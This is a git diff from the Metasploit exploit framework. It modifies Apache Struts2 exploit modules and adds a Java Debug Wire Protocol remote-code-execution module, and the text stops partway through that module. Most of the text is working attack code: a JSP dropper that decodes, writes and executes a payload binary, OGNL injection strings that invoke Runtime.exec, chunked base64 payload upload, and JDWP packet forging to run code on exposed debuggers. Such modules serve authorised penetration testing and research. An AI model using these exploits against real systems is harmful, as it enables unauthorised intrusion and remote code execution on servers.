register_options( + [ + Opt::RPORT(8080), + OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/struts2-blank/example/HelloWorld.action"]) + ], self.class) + end + + def jsp_dropper(file, exe) + dropper = <<-eos +<%@ page import=\"java.io.FileOutputStream\" %> +<%@ page import=\"sun.misc.BASE64Decoder\" %> +<%@ page import=\"java.io.File\" %> +<% FileOutputStream oFile = new FileOutputStream(\"#{file}\", false); %> +<% oFile.write(new sun.misc.BASE64Decoder().decodeBuffer(\"#{Rex::Text.encode_base64(exe)}\")); %> +<% oFile.flush(); %> +<% oFile.close(); %> +<% File f = new File(\"#{file}\"); %> +<% f.setExecutable(true); %> +<% Runtime.getRuntime().exec(\"./#{file}\"); %> + eos + + dropper + end + + def dump_line(uri, cmd = "") + res = send_request_cgi({ + 'uri' => uri+cmd, + 'version' => '1.1', + 'method' => 'GET', + }) + + res + end + + def modify_class_loader(opts) + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path.to_s), + 'version' => '1.1', + 'method' => 'GET', + 'vars_get' => { + "class['classLoader'].resources.context.parent.pipeline.first.directory" => opts[:directory], + "class['classLoader'].resources.context.parent.pipeline.first.prefix" => opts[:prefix], + "class['classLoader'].resources.context.parent.pipeline.first.suffix" => opts[:suffix], + "class['classLoader'].resources.context.parent.pipeline.first.fileDateFormat" => opts[:file_date_format] + } + }) + + res + end + + def check_log_file(hint) + uri = normalize_uri("/", @jsp_file) + + print_status("#{peer} - Waiting for the server to flush the logfile") + + 10.times do |x| + select(nil, nil, nil, 2) + + # Now make a request to trigger payload + vprint_status("#{peer} - Countdown #{10-x}...") + res = dump_line(uri) + + # Failure. The request timed out or the server went away. + fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") if res.nil? + + # Success if the server has flushed all the sent commands to the jsp file + if res.code == 200 && res.body && res.body.to_s =~ /#{hint}/ + print_good("#{peer} - Log file flushed at http://#{peer}/#{@jsp_file}") + return true + end + end + + false + end + + # Fix the JSP payload to make it valid once is dropped + # to the log file + def fix(jsp) + output = "" + jsp.each_line do |l| + if l =~ /<%.*%>/ + output << l + elsif l =~ /<%/ + next + elsif l.chomp.empty? + next + else + output << "<% #{l.chomp} %>" + end + end + output + end + + def create_jsp + if target['Arch'] == ARCH_JAVA + jsp = fix(payload.encoded) + else + payload_exe = generate_payload_exe + payload_file = rand_text_alphanumeric(4 + rand(4)) + jsp = jsp_dropper(payload_file, payload_exe) + register_files_for_cleanup(payload_file) + end + + jsp + end + + def exploit + prefix_jsp = rand_text_alphanumeric(3+rand(3)) + date_format = rand_text_numeric(1+rand(4)) + @jsp_file = prefix_jsp + date_format + ".jsp" + + # Modify the Class Loader + + print_status("#{peer} - Modifying Class Loader...") + properties = { + :directory => 'webapps/ROOT', + :prefix => prefix_jsp, + :suffix => '.jsp', + :file_date_format => date_format + } + res = modify_class_loader(properties) + unless res + fail_with(Failure::TimeoutExpired, "#{peer} - No answer") + end + + # Check if the log file exists and has been flushed + + if check_log_file(normalize_uri(target_uri.to_s)) + register_files_for_cleanup(@jsp_file) + else + fail_with(Failure::Unknown, "#{peer} - The log file hasn't been flushed") + end + + # Prepare the JSP + print_status("#{peer} - Generating JSP...") + jsp = create_jsp + + # Dump the JSP to the log file + print_status("#{peer} - Dumping JSP into the logfile...") + random_request = rand_text_alphanumeric(3 + rand(3)) + jsp.each_line do |l| + unless dump_line(random_request, l.chomp) + fail_with(Failure::Unknown, "#{peer} - Missed answer while dumping JSP to logfile...") + end + end + + # Check log file... enjoy shell! + check_log_file(random_request) + + # No matter what happened, try to 'restore' the Class Loader + properties = { + :directory => '', + :prefix => '', + :suffix => '', + :file_date_format => '' + } + modify_class_loader(properties) + end + +end + diff --git a/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb b/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb index 220700c01f..e2e19a1a3c 100644 --- a/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb +++ b/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Exploit::CmdStagerTFTP + include Msf::Exploit::CmdStager include Msf::Exploit::Remote::HttpClient def initialize(info = {}) @@ -45,7 +45,8 @@ class Metasploit3 < Msf::Exploit::Remote ['Windows Universal', { 'Arch' => ARCH_X86, - 'Platform' => 'win' + 'Platform' => 'win', + 'CmdStagerFlavor' => 'tftp' } ], ['Linux Universal', @@ -94,7 +95,7 @@ class Metasploit3 < Msf::Exploit::Remote exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe" print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}") - execute_cmdstager({ :temp => '.'}) + execute_cmdstager({ :temp => '.' }) @payload_exe = payload_exe print_status("Attempting to execute the payload...") diff --git a/modules/exploits/multi/http/struts_code_exec_parameters.rb b/modules/exploits/multi/http/struts_code_exec_parameters.rb index 1db90c817f..03add8c9be 100644 --- a/modules/exploits/multi/http/struts_code_exec_parameters.rb +++ b/modules/exploits/multi/http/struts_code_exec_parameters.rb @@ -27,7 +27,8 @@ class Metasploit3 < Msf::Exploit::Remote [ 'Meder Kydyraliev', # Vulnerability Discovery and PoC 'Richard Hicks <scriptmonkey.blog[at]gmail.com>', # Metasploit Module - 'mihi' #ARCH_JAVA support + 'mihi', #ARCH_JAVA support + 'Christian Mehlmauer' # Metasploit Module ], 'License' => MSF_LICENSE, 'References' => @@ -44,7 +45,7 @@ class Metasploit3 < Msf::Exploit::Remote ['Windows Universal', { 'Arch' => ARCH_X86, - 'Platform' => 'windows' + 'Platform' => 'win' } ], ['Linux Universal', @@ -66,75 +67,109 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ Opt::RPORT(8080), - OptString.new('PARAMETER',[ true, 'The parameter to perform injection against.',"username"]), - OptString.new('TARGETURI', [ true, 'The path to a struts application action with the location to perform the injection', "/blank-struts2/login.action?INJECT"]), - OptInt.new('CHECK_SLEEPTIME', [ true, 'The time, in seconds, to ask the server to sleep while check', 5]) + OptString.new('PARAMETER',[ true, 'The parameter to perform injection against.','username']), + OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/blank-struts2/login.action']), + OptInt.new('CHECK_SLEEPTIME', [ true, 'The time, in seconds, to ask the server to sleep while check', 5]), + OptString.new('GET_PARAMETERS', [ false, 'Additional GET Parameters to send. Please supply in the format "param1=a¶m2=b". Do apply URL encoding to the parameters names and values if needed.', nil]), + OptString.new('TMP_PATH', [ false, 'Overwrite the temp path for the file upload. Sometimes needed if the home directory is not writeable. Ensure there is a trailing slash!', nil]) ], self.class) end - def execute_command(cmd, opts = {}) - inject = "PARAMETERTOKEN=(#context[\"xwork.MethodAccessor.denyMethodExecution\"]=+new+java.lang.Boolean(false),#_memberAccess[\"allowStaticMethodAccess\"]" - inject << "=+new+java.lang.Boolean(true),CMD)('meh')&z[(PARAMETERTOKEN)(meh)]=true" - inject.gsub!(/PARAMETERTOKEN/,Rex::Text::uri_encode(datastore['PARAMETER'])) - inject.gsub!(/CMD/,Rex::Text::uri_encode(cmd)) - uri = String.new(datastore['TARGETURI']) - uri = normalize_uri(uri) - uri.gsub!(/INJECT/,inject) # append the injection string + def parameter + datastore['PARAMETER'] + end + + def temp_path + return nil unless datastore['TMP_PATH'] + unless datastore['TMP_PATH'].end_with?('/') || datastore['TMP_PATH'].end_with?('\\') + fail_with(Failure::BadConfig, 'You need to add a trailing slash/backslash to TMP_PATH') + end + datastore['TMP_PATH'] + end + + def get_parameter + retval = {} + return retval unless datastore['GET_PARAMETERS'] + splitted = datastore['GET_PARAMETERS'].split('&') + return retval if splitted.nil? || splitted.empty? + splitted.each { |item| + name, value = item.split('=') + # no check here, value can be nil if parameter is ¶m + decoded_name = name ? Rex::Text::uri_decode(name) : nil + decoded_value = value ? Rex::Text::uri_decode(value) : nil + retval[decoded_name] = decoded_value + } + retval + end + + def execute_command(cmd) + junk = Rex::Text.rand_text_alpha(6) + inject = "(#context[\"xwork.MethodAccessor.denyMethodExecution\"]= new java.lang.Boolean(false),#_memberAccess[\"allowStaticMethodAccess\"]" + inject << "= new java.lang.Boolean(true),#{cmd})('#{junk}')" + uri = normalize_uri(datastore['TARGETURI']) resp = send_request_cgi({ 'uri' => uri, 'version' => '1.1', 'method' => 'GET', + 'vars_get' => { parameter => inject, "z[(#{parameter})(#{junk})]" => 'true' }.merge(get_parameter) }) - return resp #Used for check function. + resp end def exploit #Set up generic values. - @payload_exe = rand_text_alphanumeric(4+rand(4)) + payload_exe = rand_text_alphanumeric(4 + rand(4)) pl_exe = generate_payload_exe - append = 'false' + if pl_exe.nil? + fail_with(Failure::BadConfig, "#{peer} - Failed to generate an EXE payload, please select a correct payload") + end + append = false #Now arch specific... case target['Platform'] when 'linux' - @payload_exe = "/tmp/#{@payload_exe}" - chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{@payload_exe}\".split(\"_\"))" - exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{@payload_exe}\".split(\"_\"))" + path = temp_path || '/tmp/' + payload_exe = "#{path}#{payload_exe}" + chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{payload_exe}\".split(\"_\"))" + exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{payload_exe}\".split(\"_\"))" when 'java' - @payload_exe << ".jar" + payload_exe = "#{temp_path}#{payload_exe}.jar" pl_exe = payload.encoded_jar.pack - exec_cmd = "" + exec_cmd = '' exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked')," exec_cmd << "#q.setAccessible(true),#q.set(null,true)," exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15')," exec_cmd << "#q.setAccessible(true),#q.set(null,false)," - exec_cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_exe}').toURI().toURL()})," + exec_cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{payload_exe}').toURI().toURL()})," exec_cmd << "#c=#cl.loadClass('metasploit.Payload')," exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke(" exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})" - when 'windows' - @payload_exe = "./#{@payload_exe}.exe" - exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{@payload_exe}')" + when 'win' + path = temp_path || './' + payload_exe = "#{path}#{payload_exe}.exe" + exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{payload_exe}')" else fail_with(Failure::NoTarget, 'Unsupported target platform!') end + print_status("#{peer} - Uploading exploit to #{payload_exe}") #Now with all the arch specific stuff set, perform the upload. #109 = length of command string plus the max length of append. - sub_from_chunk = 109 + @payload_exe.length + datastore['TARGETURI'].length + datastore['PARAMETER'].length + sub_from_chunk = 109 + payload_exe.length + datastore['TARGETURI'].length + parameter.length chunk_length = 2048 - sub_from_chunk - chunk_length = ((chunk_length/4).floor)*3 + chunk_length = ((chunk_length/4).floor) * 3 while pl_exe.length > chunk_length - java_upload_part(pl_exe[0,chunk_length],@payload_exe,append) + java_upload_part(pl_exe[0,chunk_length], payload_exe, append) pl_exe = pl_exe[chunk_length,pl_exe.length - chunk_length] append = true end - java_upload_part(pl_exe,@payload_exe,append) + java_upload_part(pl_exe, payload_exe, append) + print_status("#{peer} - Executing payload") execute_command(chmod_cmd) if target['Platform'] == 'linux' execute_command(exec_cmd) - register_files_for_cleanup(@payload_exe) + register_files_for_cleanup(payload_exe) end - def java_upload_part(part, filename, append = 'false') + def java_upload_part(part, filename, append = false) cmd = "" cmd << "#f=new java.io.FileOutputStream('#{filename}',#{append})," cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}'))," @@ -151,7 +186,6 @@ class Metasploit3 < Msf::Exploit::Remote t2 = Time.now delta = t2 - t1 - if response.nil? return Exploit::CheckCode::Safe elsif delta < sleep_time diff --git a/modules/exploits/multi/http/struts_include_params.rb b/modules/exploits/multi/http/struts_include_params.rb index a2999d8026..ae8b8621de 100644 --- a/modules/exploits/multi/http/struts_include_params.rb +++ b/modules/exploits/multi/http/struts_include_params.rb @@ -129,7 +129,7 @@ class Metasploit3 < Msf::Exploit::Remote exec_cmd << "#c=#cl.loadClass('metasploit.Payload')," exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke(" exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})" - when 'windows' + when 'win' @payload_exe = "./#{@payload_exe}.exe" exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{@payload_exe}')" else diff --git a/modules/exploits/multi/http/wikka_spam_exec.rb b/modules/exploits/multi/http/wikka_spam_exec.rb index 20d4a365d3..e6068cdaba 100644 --- a/modules/exploits/multi/http/wikka_spam_exec.rb +++ b/modules/exploits/multi/http/wikka_spam_exec.rb @@ -90,8 +90,8 @@ class Metasploit3 < Msf::Exploit::Remote # Get the cookie in this format: # 96522b217a86eca82f6d72ef88c4c7f4=pr5sfcofh5848vnc2sm912ean2; path=/wikka - if res and res.headers['Set-Cookie'] - cookie = res.headers['Set-Cookie'].scan(/(\w+\=\w+); path\=.+$/).flatten[0] + if res and !res.get_cookies.empty? + cookie = res.get_cookies else fail_with(Failure::Unknown, "#{peer} - No cookie found, will not continue") end @@ -141,9 +141,10 @@ class Metasploit3 < Msf::Exploit::Remote 'vars_post' => login }) - if res and res.headers['Set-Cookie'] =~ /user_name/ - user = res.headers['Set-Cookie'].scan(/(user_name\@\w+=\w+);/)[0] || "" - pass = res.headers['Set-Cookie'].scan(/(pass\@\w+=\w+)/)[0] || "" + if res and res.get_cookies =~ /user_name/ + c = res.get_cookies + user = c.scan(/(user_name\@\w+=\w+);/)[0] || "" + pass = c.scan(/(pass\@\w+=\w+)/)[0] || "" cookie_cred = "#{cookie}; #{user}; #{pass}" else cred = "#{datastore['USERNAME']}:#{datastore['PASSWORD']}" diff --git a/modules/exploits/multi/http/zabbix_script_exec.rb b/modules/exploits/multi/http/zabbix_script_exec.rb index 57ec58c718..47409ba37f 100644 --- a/modules/exploits/multi/http/zabbix_script_exec.rb +++ b/modules/exploits/multi/http/zabbix_script_exec.rb @@ -88,7 +88,7 @@ class Metasploit4 < Msf::Exploit::Remote fail_with("Login failed") end - sess = login.headers['Set-Cookie'] + sess = login.get_cookies dash = send_request_cgi({ 'method' => 'GET', diff --git a/modules/exploits/multi/misc/java_jdwp_debugger.rb b/modules/exploits/multi/misc/java_jdwp_debugger.rb new file mode 100644 index 0000000000..990e67db17 --- /dev/null +++ b/modules/exploits/multi/misc/java_jdwp_debugger.rb @@ -0,0 +1,960 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GoodRanking + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + HANDSHAKE = "JDWP-Handshake" + + REQUEST_PACKET_TYPE = 0x00 + REPLY_PACKET_TYPE = 0x80 + + # Command signatures + VERSION_SIG = [1, 1] + CLASSESBYSIGNATURE_SIG = [1, 2] + ALLCLASSES_SIG = [1, 3] + ALLTHREADS_SIG = [1, 4] + IDSIZES_SIG = [1, 7] + CREATESTRING_SIG = [1, 11] + SUSPENDVM_SIG = [1, 8] + RESUMEVM_SIG = [1, 9] + SIGNATURE_SIG = [2, 1] + FIELDS_SIG = [2, 4] + METHODS_SIG = [2, 5] + GETVALUES_SIG = [2, 6] + CLASSOBJECT_SIG = [2, 11] + SETSTATICVALUES_SIG = [3, 2] + INVOKESTATICMETHOD_SIG = [3, 3] + CREATENEWINSTANCE_SIG = [3, 4] + REFERENCETYPE_SIG = [9, 1] + INVOKEMETHOD_SIG = [9, 6] + STRINGVALUE_SIG = [10, 1] + THREADNAME_SIG = [11, 1] + THREADSUSPEND_SIG = [11, 2] + THREADRESUME_SIG = [11, 3] + THREADSTATUS_SIG = [11, 4] + EVENTSET_SIG = [15, 1] + EVENTCLEAR_SIG = [15, 2] + EVENTCLEARALL_SIG = [15, 3] + + # Other codes + MODKIND_COUNT = 1 + MODKIND_THREADONLY = 2 + MODKIND_CLASSMATCH = 5 + MODKIND_LOCATIONONLY = 7 + MODKIND_STEP = 10 + EVENT_BREAKPOINT = 2 + EVENT_STEP = 1 + SUSPEND_EVENTTHREAD = 1 + SUSPEND_ALL = 2 + NOT_IMPLEMENTED = 99 + VM_DEAD = 112 + INVOKE_SINGLE_THREADED = 2 + TAG_OBJECT = 76 + TAG_STRING = 115 + TYPE_CLASS = 1 + TAG_ARRAY = 91 + TAG_VOID = 86 + TAG_THREAD = 116 + STEP_INTO = 0 + STEP_MIN = 0 + THREAD_SLEEPING_STATUS = 2 + + def initialize + super( + 'Name' => 'Java Debug Wire Protocol Remote Code Execution', + 'Description' => %q{ + This module abuses exposed Java Debug Wire Protocol services in order + to execute arbitrary Java code remotely. It just abuses the protocol + features, since no authentication is required if the service is enabled. + }, + 'Author' => [ + 'Michael Schierl', # Vulnerability discovery / First exploit seen / Msf module help + 'Christophe Alladoum', # JDWP Analysis and Exploit + 'Redsadic <julian.vilas[at]gmail.com>' # Metasploit Module + ], + 'References' => + [ + ['OSVDB', '96066'], + ['EDB', '27179'], + ['URL', 'http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html'], + ['URL', 'http://seclists.org/nmap-dev/2010/q1/867'], + ['URL', 'https://github.com/schierlm/JavaPayload/blob/master/JavaPayload/src/javapayload/builder/JDWPInjector.java'], + ['URL', 'https://svn.nmap.org/nmap/scripts/jdwp-exec.nse'], + ['URL', 'http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html'] + ], + 'Platform' => %w{ linux win }, + 'Arch' => ARCH_X86, + 'Payload' => + { + 'Space' => 2048, + 'BadChars' => '', + 'DisableNops' => true + }, + 'Targets' => + [ + [ 'Linux x86 (Native Payload)', + { + 'Platform' => 'linux' + } + ], + [ 'Windows x86 (Native Payload)', + { + 'Platform' => 'win' + } + ] + ], + 'DefaultTarget' => 0, + 'License' => MSF_LICENSE, + 'DisclosureDate' => 'Mar 12 2010' + ) + + register_options( + [ + Opt::RPORT(8000), + OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10]), + OptString.new('TMP_PATH', [ false, 'A directory where we can write files. Ensure there is a trailing slash']), + ], self.class) + + register_advanced_options( + [ + OptInt.new('NUM_RETRIES', [true, 'Number of retries when waiting for event', 10]), + ], self.class) + end + + def check + connect + res = handshake + disconnect + + if res.nil? + return Exploit::CheckCode::Unknown + elsif res == HANDSHAKE + return Exploit::CheckCode::Appears + end + + Exploit::CheckCode::Safe + end + + + def peer + "#{rhost}:#{rport}" + end + + def default_timeout + datastore['RESPONSE_TIMEOUT'] + end + + # Establishes handshake with the server + def handshake + sock.put(HANDSHAKE) + return sock.get(datastore['RESPONSE_TIMEOUT']) + end + + # Forges packet for JDWP protocol + def create_packet(cmdsig, data="") + flags = 0x00 + cmdset, cmd = cmdsig + pktlen = data.length + 11 + buf = [pktlen, @my_id, flags, cmdset, cmd] + pkt = buf.pack("NNCCC") + pkt << data + @my_id += 2 + pkt + end + + # Reads packet response for JDWP protocol + def read_reply(timeout = default_timeout) + response = sock.get(timeout) + fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless response + pktlen, id, flags, errcode = response.unpack('NNCn') + response.slice!(0..10) + if errcode != 0 && flags == REPLY_PACKET_TYPE + fail_with(Failure::Unknown, "#{peer} - Server sent error with code #{errcode}") + end + response + end + + # Returns the characters contained in the string defined in target VM + def solve_string(data) + sock.put(create_packet(STRINGVALUE_SIG, data)) + response = read_reply + return "" unless response + return read_string(response) + end + + # Unpacks received string structure from the server response into a normal string + def read_string(data) + data_len = data.unpack('N')[0] + data.slice!(0..3) + return data.slice!(0,data_len) + end + + # Creates a new string object in the target VM and returns its id + def create_string(data) + buf = build_string(data) + sock.put(create_packet(CREATESTRING_SIG, buf)) + buf = read_reply + return parse_entries(buf, [[@vars['objectid_size'], "obj_id"]], false) + end + + # Packs normal string into string structure for target VM + def build_string(data) + ret = [data.length].pack('N') + ret << data + + ret + end + + # Pack Fixnum for JDWP protocol + def format(fmt, value) + if fmt == "L" || fmt == 8 + return [value].pack('Q>') + elsif fmt == "I" || fmt == 4 + return [value].pack('N') + end + + fail_with(Failure::Unknown, "Unknown format") + end + + # Unpack Fixnum from JDWP protocol + def unformat(fmt, value) + if fmt == "L" || fmt == 8 + return value[0..7].unpack('Q>')[0] + elsif fmt == "I" || fmt == 4 + return value[0..3].unpack('N')[0] + end + + fail_with(Failure::Unknown, "Unknown format") + end + + # Parses given data according to a set of formats + def parse_entries(buf, formats, explicit=true) + entries = [] + + if explicit + nb_entries = buf.unpack('N')[0] + buf.slice!(0..3) + else + nb_entries = 1 + end + + nb_entries.times do |var| + + if var != 0 && var % 1000 == 0 + vprint_status("#{peer} - Parsed #{var} classes of #{nb_entries}") + end + + data = {} + + formats.each do |fmt,name| + if fmt == "L" || fmt == 8 + data[name] = buf.unpack('Q>')[0] + buf.slice!(0..7) + elsif fmt == "I" || fmt == 4 + data[name] = buf.unpack('N')[0] + buf.slice!(0..3) + elsif fmt == "S" + data_len = buf.unpack('N')[0] + buf.slice!(0..3) + data[name] = buf.slice!(0,data_len) + elsif fmt == "C" + data[name] = buf.unpack('C')[0] + buf.slice!(0) + elsif fmt == "Z" + t = buf.unpack('C')[0] + buf.slice!(0) + if t == 115 + data[name] = solve_string(buf.slice!(0..7)) + elsif t == 73 + data[name], buf = buf.unpack('NN') + end + else + fail_with(Failure::UnexpectedReply, "Unexpected data when parsing server response") + end + + end + entries.append(data) + end + + entries + end + + # Gets the sizes of variably-sized data types in the target VM + def get_sizes + formats = [ + ["I", "fieldid_size"], + ["I", "methodid_size"], + ["I", "objectid_size"], + ["I", "referencetypeid_size"], + ["I", "frameid_size"] + ] + sock.put(create_packet(IDSIZES_SIG)) + response = read_reply + entries = parse_entries(response, formats, false) + entries.each { |e| @vars.merge!(e) } + end + + # Gets the JDWP version implemented by the target VM + def get_version + formats = [ + ["S", "descr"], + ["I", "jdwp_major"], + ["I", "jdwp_minor"], + ["S", "vm_version"], + ["S", "vm_name"] + ] + sock.put(create_packet(VERSION_SIG)) + response = read_reply + entries = parse_entries(response, formats, false) + entries.each { |e| @vars.merge!(e) } + end + + def version + "#{@vars["vm_name"]} - #{@vars["vm_version"]}" + end + + def is_java_eight + version.downcase =~ /1[.]8[.]/ + end + + # Returns reference for all threads currently running on target VM + def get_all_threads + sock.put(create_packet(ALLTHREADS_SIG)) + response = read_reply + num_threads = response.unpack('N').first + response.slice!(0..3) + + size = @vars["objectid_size"] + num_threads.times do + t_id = unformat(size, response[0..size-1]) + @threads[t_id] = nil + response.slice!(0..size-1) + end + end + + # Returns reference types for all classes currently loaded by the target VM + def get_all_classes + return unless @classes.empty? + + formats = [ + ["C", "reftype_tag"], + [@vars["referencetypeid_size"], "reftype_id"], + ["S", "signature"], + ["I", "status"] + ] + sock.put(create_packet(ALLCLASSES_SIG)) + response = read_reply + @classes.append(parse_entries(response, formats)) + end + + # Checks if specified class is currently loaded by the target VM and returns it + def get_class_by_name(name) + @classes.each do |entry_array| + entry_array.each do |entry| + if entry["signature"].downcase == name.downcase + return entry + end + end + end + + nil + end + + # Returns information for each method in a reference type (ie. object). Inherited methods are not included. + # The list of methods will include constructors (identified with the name "<init>") + def get_methods(reftype_id) + if @methods.has_key?(reftype_id) + return @methods[reftype_id] + end + + formats = [ + [@vars["methodid_size"], "method_id"], + ["S", "name"], + ["S", "signature"], + ["I", "mod_bits"] + ] + ref_id = format(@vars["referencetypeid_size"],reftype_id) + sock.put(create_packet(METHODS_SIG, ref_id)) + response = read_reply + @methods[reftype_id] = parse_entries(response, formats) + end + + # Returns information for each field in a reference type (ie. object) + def get_fields(reftype_id) + formats = [ + [@vars["fieldid_size"], "field_id"], + ["S", "name"], + ["S", "signature"], + ["I", "mod_bits"] + ] + ref_id = format(@vars["referencetypeid_size"],reftype_id) + sock.put(create_packet(FIELDS_SIG, ref_id)) + response = read_reply + fields = parse_entries(response, formats) + + fields + end + + # Returns the value of one static field of the reference type. The field must be member of the reference type + # or one of its superclasses, superinterfaces, or implemented interfaces. Access control is not enforced; + # for example, the values of private fields can be obtained. + def get_value(reftype_id, field_id) + data = format(@vars["referencetypeid_size"],reftype_id) + data << [1].pack('N') + data << format(@vars["fieldid_size"],field_id) + + sock.put(create_packet(GETVALUES_SIG, data)) + response = read_reply + num_values = response.unpack('N')[0] + + unless (num_values == 1) && (response[4].unpack('C')[0] == TAG_OBJECT) + fail_with(Failure::Unknown, "Bad response when getting value for field") + end + + response.slice!(0..4) + + len = @vars["objectid_size"] + value = unformat(len, response) + + value + end + + # Sets the value of one static field. Each field must be member of the class type or one of its superclasses, + # superinterfaces, or implemented interfaces. Access control is not enforced; for example, the values of + # private fields can be set. Final fields cannot be set.For primitive values, the value's type must match + # the field's type exactly. For object values, there must exist a widening reference conversion from the + # value's type to the field's type and the field's type must be loaded. + def set_value(reftype_id, field_id, value) + data = format(@vars["referencetypeid_size"],reftype_id) + data << [1].pack('N') + data << format(@vars["fieldid_size"],field_id) + data << format(@vars["objectid_size"],value) + + sock.put(create_packet(SETSTATICVALUES_SIG, data)) + read_reply + end + + + # Checks if specified method is currently loaded by the target VM and returns it + def get_method_by_name(classname, name, signature = nil) + @methods[classname].each do |entry| + if signature.nil? + return entry if entry["name"].downcase == name.downcase + else + if entry["name"].downcase == name.downcase && entry["signature"].downcase == signature.downcase + return entry + end + end + end + + nil + end + + # Checks if specified class and method are currently loaded by the target VM and returns them + def get_class_and_method(looked_class, looked_method, signature = nil) + target_class = get_class_by_name(looked_class) + unless target_class + fail_with(Failure::Unknown, "Class \"#{looked_class}\" not found") + end + + get_methods(target_class["reftype_id"]) + target_method = get_method_by_name(target_class["reftype_id"], looked_method, signature) + unless target_method + fail_with(Failure::Unknown, "Method \"#{looked_method}\" not found") + end + + return target_class, target_method + end + + # Transform string contaning class and method(ie. from "java.net.ServerSocket.accept" to "Ljava/net/Serversocket;" and "accept") + def str_to_fq_class(s) + i = s.rindex(".") + unless i + fail_with(Failure::BadConfig, 'Bad defined break class') + end + + method = s[i+1..-1] # Subtr of s, from last '.' to the end of the string + + classname = 'L' + classname << s[0..i-1].gsub(/[.]/, '/') + classname << ';' + + return classname, method + end + + # Gets the status of a given thread + def thread_status(thread_id) + sock.put(create_packet(THREADSTATUS_SIG, format(@vars["objectid_size"], thread_id))) + buf = read_reply(datastore['BREAK_TIMEOUT']) + unless buf + fail_with(Exploit::Failure::Unknown, "No network response") + end + status, suspend_status = buf.unpack('NN') + + status + end + + # Resumes execution of the application or thread after the suspend command or an event has stopped it + def resume_vm(thread_id = nil) + if thread_id.nil? + sock.put(create_packet(RESUMEVM_SIG)) + else + sock.put(create_packet(THREADRESUME_SIG, format(@vars["objectid_size"], thread_id))) + end + + response = read_reply(datastore['BREAK_TIMEOUT']) + unless response + fail_with(Exploit::Failure::Unknown, "No network response") + end + + response + end + + # Suspend execution of the application or thread + def suspend_vm(thread_id = nil) + if thread_id.nil? + sock.put(create_packet(SUSPENDVM_SIG)) + else + sock.put(create_packet(THREADSUSPEND_SIG, format(@vars["objectid_size"], thread_id))) + end + + response = read_reply + unless response + fail_with(Exploit::Failure::Unknown, "No network response") + end + + response + end + + # Sets an event request. When the event described by this request occurs, an event is sent from the target VM + def send_event(event_code, args) + data = [event_code].pack('C') + data << [SUSPEND_ALL].pack('C') + data << [args.length].pack('N') + + args.each do |kind,option| + data << [kind].pack('C') + data << option + end + + sock.put(create_packet(EVENTSET_SIG, data)) + response = read_reply + unless response + fail_with(Exploit::Failure::Unknown, "#{peer} - No network response") + end + return response.unpack('N')[0] + end + + # Parses a received event and compares it with the expected + def parse_event(buf, event_id, thread_id) + len = @vars["objectid_size"] + return false if buf.length < 10 + len - 1 + + r_id = buf[6..9].unpack('N')[0] + t_id = unformat(len,buf[10..10+len-1]) + + return (event_id == r_id) && (thread_id == t_id) + end + + # Clear a defined event request + def clear_event(event_code, r_id) + data = [event_code].pack('C') + data << [r_id].pack('N') + sock.put(create_packet(EVENTCLEAR_SIG, data)) + read_reply + end + + # Invokes a static method. The method must be member of the class type or one of its superclasses, + # superinterfaces, or implemented interfaces. Access control is not enforced; for example, private + # methods can be invoked. + def invoke_static(class_id, thread_id, meth_id, args = []) + data = format(@vars["referencetypeid_size"], class_id) + data << format(@vars["objectid_size"], thread_id) + data << format(@vars["methodid_size"], meth_id) + data << [args.length].pack('N') + + args.each do |arg| + data << arg + data << [0].pack('N') + end + + sock.put(create_packet(INVOKESTATICMETHOD_SIG, data)) + buf = read_reply + buf + end + + # Invokes a instance method. The method must be member of the object's type or one of its superclasses, + # superinterfaces, or implemented interfaces. Access control is not enforced; for example, private methods + # can be invoked. + def invoke(obj_id, thread_id, class_id, meth_id, args = []) + data = format(@vars["objectid_size"], obj_id) + data << format(@vars["objectid_size"], thread_id) + data << format(@vars["referencetypeid_size"], class_id) + data << format(@vars["methodid_size"], meth_id) + data << [args.length].pack('N') + + args.each do |arg| + data << arg + data << [0].pack('N') + end + + sock.put(create_packet(INVOKEMETHOD_SIG, data)) + buf = read_reply + buf + end + + # Creates a new object of specified class, invoking the specified constructor. The constructor + # method ID must be a member of the class type. + def create_instance(class_id, thread_id, meth_id, args = []) + data = 